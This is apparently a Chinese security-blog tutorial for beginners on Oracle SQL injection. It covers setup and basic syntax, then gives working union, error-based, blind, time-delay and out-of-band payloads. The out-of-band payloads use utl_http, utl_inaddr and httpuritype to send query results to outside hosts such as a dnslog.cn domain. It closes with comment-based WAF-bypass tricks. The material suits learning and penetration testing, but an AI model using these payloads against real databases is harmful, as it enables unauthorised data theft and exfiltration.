干货|一篇文章入门Oracle注入 建议收藏

技术
oracle基础学习

写在前头,本文是我在学习Oracle注入时做的笔记加以整理所作的分享,由于在面试中被问过几次,并不是很难的东西,总是被问住,所以决定抽一些时间彻底学习一遍。一些基本语法与Mysql差别也不是很大,学起来并不费劲。

本文极其适合入门选手,一篇文章足以帮你入门Oracle注入。抄了一些y4博客文章的目录,查阅官方文档细化了函数的使用。请搭配官方文档食用,并亲手实践为主,文中如有错误请通知我更改。

Oracle Database安装

为了方便,直接docker 拉一个镜像回来。

版本 Oracle Database 11g


      
          

        # 拉取镜像  
$ docker pull deepdiver/docker-oracle-xe-11g  
  
# 启动容器  
$ docker run -d --name oracledb -p 1002:22 -p 1521:1521 deepdiver/docker-oracle-xe-11g  
  
# 可以选择进入docker操作,不需要将docker 22端口映射出来。  
$ docker exec -it oracledb bash  

      
    

picture.image

基础学习

dual 是Oracle中的虚表,任何用户均可读取,常用在没有目标表的select 语句中。

Oracle数据库中使用的语言有三种,分别为: SQL , java , PL/SQL

本文接下来所有记录的语法、函数使用等,均摘自Oracle官方文档,如有不明白之处自行去官网查询详细文档即可官方文档

体系结构


      
          

        # 实例 一个Oracle实例(Oracle Instance)有一系列的后台进程和内存结构组成。一个数据库可以有n个实例。# 用户 Oracle数据库的基本单位,等同于Mysql中的库。Mysql:当前数据库下有N张表 <=> Oracle:当前用户下有N张表。# 表空间 表空间是Oracle对物理数据库上相关数据文件(ORA或者DBF文件)的逻辑映射。一个数据库在逻辑上被划分成一到若干个表空间,每个表空间包含了在逻辑上相关的一组结构。每个数据库至少有一个表空间(称之为system表空间)。每个表空间由同一磁盘上的一个或多个文件组成,这些文件叫数据文件(datafile)。一个数据文件只能属于一个表空间。# 数据文件(dbf,ora) 数据文件是数据库的物理存储单位。表空间与数据文件是一对多的关系(用户与表空间也是一对多的关系),而数据文件只能属于一个表空间,删除数据文件需先删除该文件所属的表空间。表的数据,是由用户放入某一个表空间的,而这个表空间会随机把这些表数据放到一个或多个数据文件中。
      
    

Oracle数据库中常用角色


      
          

        connect --连接角色,基本角色resource --开发者角色dba --超级管理员角色
      
    

Oracle数据库存在默认用户:scott,密码:tiger。需要超级管理员权限用户解锁。

语法


      
          

        # 查看当前连接用户  
SQL> select user from dual;  
# 创建用户名为sqli密码为pentest的用户  
SQL> create user sqli identified by pentest;  
# 给新创建的用户授权,connect角色:保证该用户可以连接数据库;resource角色:该用户可以使用数据库资源  
SQL> grant connect,resource to sqli;  
# 删除用户:当前连接数据库的用户必须具有删除用户权限(如sys)  
  
# 创建表空间(需要超级管理员权限)  
SQL> create tablespace pentest  
 2 datafile '/tmp/pentest.dbf'  
 3 size 100m  
 4 autoextend on  
 5 next 10m;  
  
Tablespace created.  
# 删除表空间  
SQL> drop tablespace pentest; --删除表空间后,数据文件依旧存在。  
  
Tablespace dropped.  
  

      
    

数据类型


      
          

        1. varchar, varchar2 表示一个字符串。2. NUMBER NUMBER(n)表示一个整数,长度是n;NUMBER(m,n)表示一个小数,总长度m,小数:n,整数是m-n。eg: NUMBER(4,2) 表示最大可以存储数字为99.993. DATA 表示日期类型4. CLOB 大对象,表示大文本数据类型,可存4G5. BLOB 大对象,表示二进制数据,可存4G
      
    

语法


      
          

        # 创建users表  
SQL> create table users(  
 2 id number(10),  
 3 uname varchar2(16),  
 4 pwd varchar2(32)  
 5 )  
 6 ;  
  
Table created.  
# 添加列  
SQL> alter table users add email varchar2(40);  
# 修改列数据类型  
SQL> alter table users modify email char(40);  
# 修改列的名称  
SQL> alter table users rename column email to sex;  
# 删除列  
SQL> alter table users drop column sex;  
# 插入数据(values字符串不能使用双引号)  
SQL> insert into users (id,uname,pwd) values(1,'admin','ab71giedas98g1o2dasgd12e98g');  
  
1 row created.  
# 修改数据  
update users set uname='administrator';  
# 删除数据  
delete from users where uname='administrator';  

      
    

序列


      
          

        # 默认从1开始:依次递增,主要用来给主键赋值使用。序列不真的属于任何表,但是可以逻辑和表做绑定。  
SQL> create sequence s\_users;  
  
Sequence created.  
SQL> insert into users (id,uname,pwd) values(s\_users.nextval,'ceshi','d81bojd09sha1onpmd09a');  
  
1 row created.  
SQL> select * from users;  
  
 ID UNAME PWD  
---------- ---------------- --------------------------------  
 1 admin ab71giedas98g1o2dasgd12e98g  
 3 ceshi d81bojd09sha1onpmd09a  

      
    

Orcale数据库注入学习

基础


      
          

        # Oracle中使用``||``拼接字符串  
SQL> select 'pen'||'test' from dual;  
'PEN'||  
-------  
pentest  
# 分页操作(mysql中的limit)  
SQL> select * from users where rownum<2; --rownum支持<,<=,!=  
# 支持的注释符  
--  
-- -  
--空格  
/**/  

      
    

注:Oracle 字符串区分大小写

信息获取


      
          

        SQL> select banner from v$version;  
  
BANNER  
--------------------------------------------------------------------------------  
Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production  
PL/SQL Release 11.2.0.2.0 - Production  
CORE 11.2.0.2.0 Production  
TNS for Linux: Version 11.2.0.2.0 - Production  
NLSRTL Version 11.2.0.2.0 - Production  
  
# 获取其中某版本使用正则即可,举例:  
SQL> select banner from v$version where banner like 'Oracle%';  
  
BANNER  
--------------------------------------------------------------------------------  
Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production  
  
# 获取当前所连接的用户名  
SQL> select user from dual;  
  
USER  
------------------------------  
SQLI  
  
# 获取数据库中所有用户  
SQL> select username from all\_users;  
SELECT name FROM sys.user$; -- 需要高权限  
  
# 获取当前用户权限  
SQL> select * from session\_privs;  
  
# 获取当前用户所拥有权限下的所有数据库  
SQL> select distinct owner,table\_name from all\_tables;  
  
# 获取指定表的字段(注意这里的table\_name全部大写)  
SQL> select column\_name from all\_tab\_columns where table\_name='USERS';  
  
COLUMN\_NAME  
------------------------------  
ID  
UNAME  
PWD  

      
    

Oracle提供了一个名为的内置命名空间USERENV,用于描述当前会话。以下语句返回登录到数据库的用户的名称:


      
          

        SQL> select SYS\_CONTEXT('USERENV','SESSION\_USER') from dual;SYS\_CONTEXT('USERENV','SESSION\_USER')  
--------------------------------------------------------------------------------  
SQLISQL> select SYS\_CONTEXT('USERENV','AUTHENTICATED\_IDENTITY') from dual;SYS\_CONTEXT('USERENV','AUTHENTICATED\_IDENTITY')  
--------------------------------------------------------------------------------  
sqli
      
    

具体其他的parameter官方文档有写

备忘录

1. GLOBAL_NAME 包含一行,显示当前数据库的全局名称。

  1. LISTAGG对ORDER BY子句中指定的每个组内的数据进行排序,然后合并度量列的值。measure_expr可以是任何表达。度量列中的空值将被忽略。

picture.image

  1. USER_TABLES描述当前用户拥有的关系表。

  2. ALL_TABLES描述当前用户可访问的关系表。(类似Mysql中的information_schema.tables)

  3. DBA_ALL_TABLES描述数据库中的所有对象表和关系表。其列与中的列相同ALL_ALL_TABLES。

  4. ALL_ALL_TABLES描述当前用户可访问的对象表和关系表。

  5. USER_ALL_TABLES描述当前用户拥有的对象表和关系表。

  6. DBA_TABLES描述数据库中的所有关系表,其列与ALL_TABLES中的列相同,查询条件:DBA权限用户。


      
          

        # 获取当前数据库名  
SQL> select * from global\_name;  
  
GLOBAL\_NAME  
--------------------------------------------------------------------------------  
XE  
# 实现mysql的group\_concat  
SQL> select listagg(column\_name,'~') within group (order by column\_name) from user\_tab\_columns;  
  
LISTAGG(COLUMN\_NAME,'~')WITHINGROUP(ORDERBYCOLUMN\_NAME)  
--------------------------------------------------------------------------------  
ID~PWD~UNAME  

      
    

联合查询

**注:Oracle中表达式必须具有与对应表达式相同的数据类型,且在Oralce数据库中要求select语句后必须指定要查询的表名(使用虚表dual即可)


      
          

        SQL> select * from users where id=2 union select null,null,null from dual;  
  
 ID UNAME PWD  
---------- ---------------- --------------------------------  
  
# 获取表名  
SQL> select * from users where id=2 union select null,null,(select listagg(table\_name,'~') within group(order by 1) from all\_tables where owner='SQLI') from dual;  
  
 ID UNAME  
---------- ----------------  
PWD  
--------------------------------------------------------------------------------  
  
ADDRESS~USERS  
  
# 获取指定表的字段名  
SQL> select * from users where id=2 union select null,null,(select listagg(column\_name,':') within group(order by 1) from all\_tab\_columns where table\_name='USERS') from dual;  
  
 ID UNAME  
---------- ----------------  
PWD  
--------------------------------------------------------------------------------  
  
ID:PWD:UNAME  
# 获取指定字段内容  
SQL> select * from users where id=2 union select null,null,(select listagg(uname||'&'||pwd,':') within group(order by 1) from users where rownum=1) from dual;  
  
 ID UNAME  
---------- ----------------  
PWD  
--------------------------------------------------------------------------------  
  
admin&ab71giedas98g1o2dasgd12e98g  

      
    

picture.image

报错注入

报错注入的本质就是使数据库返回一个语法等错误,并且返回错误中的某些内容我们可控,借此来获取我们需要的信息。

备忘录

  1. UTL_INADDR程序包提供了一个PL/SQL过程来支持Internet寻址。它提供了一个API,用于检索本地和远程主机的主机名和IP地址。

picture.image


      
          

        # 此程序包是调用者的权限程序包,这意味着必须connect在分配给他或她希望连接到的远程网络主机的访问控制列表中向调用用户授予特权。# SyntaxUTL\_INADDR.GET\_HOST\_NAME ( ip IN VARCHAR2 DEFAULT NULL)RETURN host\_name VARCHAR2;由于GET\_HOST\_ADDRESS函数所需参数类型是varchar2,且报错时会讲参数表达式结果返回,因此可以借此实现报错注入。GET\_HOST\_NAME函数同理。
      
    

需要注意的是,执行UTL_INADDR软件包需要拥有connect权限的用户,本次学习环境为11g,因此本次笔记暂不考虑之前版本。

picture.image

  1. ctxsys.drithsx.sn,没找到具体官方文档说明,用法如下:

      
          

        SQL> select * from users where id=1 and 1=(select ctxsys.drithsx.sn(1,(select user from dual))from dual);  

      
    
  1. ctxsys.ctx_report.token_type,这是一个辅助功能,可将英语名称转换为数字标记类型。

      
          

        # 使用方法  
function token\_type(  
 index\_name in varchar2,  
 type\_name in varchar2  
) return number;  
  
SQL> select ctxsys.ctx\_report.token\_type((select user from dual),1) from dual;  
select ctxsys.ctx\_report.token\_type((select user from dual),1) from dual  
 *  
ERROR at line 1:  
ORA-20000: Oracle Text error:  
DRG-10502: index SQLI does not exist  
ORA-06512: at "CTXSYS.DRUE", line 160  
ORA-06512: at "CTXSYS.CTX\_REPORT", line 711  

      
    

这种类似的可以用来报错注入的函数很多,举个例子:


      
          

        SQL> select ctxsys.ctx\_report.token\_info('aa','xx',1)from dual;  
ERROR:  
ORA-20000: Oracle Text error:  
DRG-10502: index AA does not exist  
ORA-06512: at "CTXSYS.DRUE", line 160  
ORA-06512: at "CTXSYS.CTX\_REPORT", line 615  
ORA-06512: at line 1  
  
no rows selected  

      
    
  1. dbms_xdb_version.checkin,此函数检入已签出的VCR,并返回新创建版本的资源ID。

      
          

        # 用法DBMS\_XDB\_VERSION.CHECKIN( pathname VARCHAR2) RETURN DBMS\_XDB.resid\_type; 如果路径名不存在,则会引发异常。SQL> select * from users where id=1 and '0x2e'=(select dbms\_xdb\_version.checkin((select user from dual))from dual);select * from users where id=1 and '0x2e'=(select dbms\_xdb\_version.checkin((select user from dual))from dual) *ERROR at line 1:ORA-31001: Invalid resource handle or path name "SQLI"
      
    

需要注意使用二进制数据类型

dbms\_xdb\_version.makeversioned


      
          

        DBMS\_XDB\_VERSION.MAKEVERSIONED( pathname VARCHAR2) RETURN DBMS\_XDB.resid\_type;如果资源不存在,则会引发异常。
      
    

需要注意使用二进制数据类型

报错注入的payload就不写太多了,原理感觉都那样,还有很多类似的函数等可以挖掘出来,具体还有哪些常见的报错注入payload可以看 Y4er博客 文章里面的总结。

盲注

感觉这部分没什么可以记录的,盲注的思路都差不多,字符串比较,运算符的运用。随便记录一下吧。


      
          

        # decode函数用来比较。  
SQL> select * from users where id=1 and 1=(select decode(user,'SQLI',1) from dual);  
SQL> select * from users where id=1 and 'S'=(select substr(user,1,1)from dual);  

      
    

picture.image

需要注意大小写的问题

延时注入


      
          

        # 用来判断注入点还行  
SQL> select count(*) from all\_objects;  
  
# 利用了oracle管道功能接收消息的函数RECEIVE\_MESSAGE,实现延时注入  
DBMS\_PIPE.RECEIVE\_MESSAGE (  
 pipename IN VARCHAR2,  
 timeout IN INTEGER DEFAULT maxwait)  
RETURN INTEGER;  
  
# 简单的使用  
SQL> select dbms\_pipe.receive\_message('aaa',3) from dual;  
  
DBMS\_PIPE.RECEIVE\_MESSAGE('AAA',3)  
----------------------------------  
 1  
SQL> select dbms\_pipe.receive\_message('aaa',(decode((select user from dual),'SQLI',3))) from dual;  
  

      
    

picture.image

带外攻击OOB(Out Of Band)

既然是带外攻击,自然需要connect

utl_http.request


      
          

        UTL\_HTTP.REQUEST (  
 url IN VARCHAR2,  
 proxy IN VARCHAR2 DEFAULT NULL,  
 wallet\_path IN VARCHAR2 DEFAULT NULL,  
 wallet\_password IN VARCHAR2 DEFAULT NULL)  
RETURN VARCHAR2;  
  
SQL> select utl\_http.request('http://ip/?result='||(select user from dual))from dual;  
  
我这里测试没有成功,报错ORA-00904: : invalid identifier,可能是版本问题。  

      
    

utl_inaddr.get_host_address

报错注入那个函数,不过多介绍了


      
          

        SQL> select utl\_inaddr.get\_host\_address((select user from dual)||'.o6xgjz.dnslog.cn')from dual;  

      
    

picture.image

DBMS_LDAP

DBMS_LDAP软件包使您可以从LDAP服务器访问数据。


      
          

        FUNCTIONN INIT(): init()用LDAP服务器初始化会话这实际上建立了与LDAP服务器的连接# 语法FUNCTION init (hostname IN VARCHAR2,portnum IN PLS\_INTEGER)RETURN SESSION;
      
    

picture.image

HTTPURITYPE

可以创建UriType列,并在其中存储DBURITYPE,XDBURITYPE或HTTPURITYPE的实例。您还可以定义自己的UriType子类型来处理不同的URL协议。


      
          

        列举几个可以带外的函数通过阅读官方文档,明显可以看出会请求httpuritype所指定的uri的函数有哪些。  
1. GETCONTENTTYPE() 作用:返回URI指向的文档的内容类型。2. GETCLOB() 作用:返回位于HTTP URL地址的CLOB。3. GETBLOB() 作用:返回位于URL指定的地址的BLOB。select httpuritype.createuri('http://xxx.o6xgjz.dnslog.cn').getblob() from dual;4. GETXML() 作用:返回位于URL指定的地址的。select httpuritype.createuri('http://xxx.o6xgjz.dnslog.cn').getxml() from dual;
      
    

文章到此为止了,仅作为Oracle注入入门的学习笔记,在后续学习java的过程中,会继续将Oracle注入更深入的利用(历史漏洞XXE,提权,执行命令等)记录笔记并做分享。

抛砖引玉

一些很常见的tips在Oracle数据库中的尝试,至于具体实际中如何去bypass waf,还望自行发挥。


      
          

        # 借用了在MySQL中bypass常用的技巧来做了简单的可行性测试,注释符和换行的搭配使用。1. 注释符拼接垃圾字符配合换行SQL> select -- asdnaso/*asdas*/ 2 user from--ioasndoiand 3 dual;USER  
------------------------------  
SQLI  
2. 利用waf的通用性特点SQL> select user/*!saho*/from dual;USER/*!SAHO*/  
------------------------------  
SQLISQL> 调用函数是可使用空格换行等select ctxsys. drithsx.sn(user,'aa')from dual;
      
    

picture.image


      
          

        在线靶场http://o1.lab.aqlab.cn:81/?id=1
      
    

你学废了吗?


        
            

          作者:s1ye,博客:evi1.cn,若侵权请联系删除
        
      

历史文章推荐:

XSS 实战思路总结

内网信息收集总结

xss攻击、绕过最全总结

一些webshell免杀的技巧

命令执行写webshell总结

SQL手工注入总结 必须收藏

后台getshell常用技巧总结

web渗透之发现内网有大鱼

蚁剑特征性信息修改简单过WAF

内网渗透之域渗透命令执行总结

[WEB安全]Weblogic漏洞总结

查看更多精彩内容,还请关注 橘猫学安全

每日坚持学习与分享,麻烦各位师傅文章底部给点个“ 再看 ”,感激不尽 picture.image

0
0
0
0
关于作者

文章

0

获赞

0

收藏

0

相关资源
vivo 容器化平台架构与核心能力建设实践
为了实现规模化降本提效的目标,vivo 确定了基于云原生理念构建容器化生态的目标。在容器化生态发展过程中,平台架构不断演进,并针对业务的痛点和诉求,持续完善容器化能力矩阵。本次演讲将会介绍 vivo 容器化平台及主要子系统的架构设计,并分享重点建设的容器化核心能力。
相关产品
评论
未登录
看完啦,登录分享一下感受吧~
暂无评论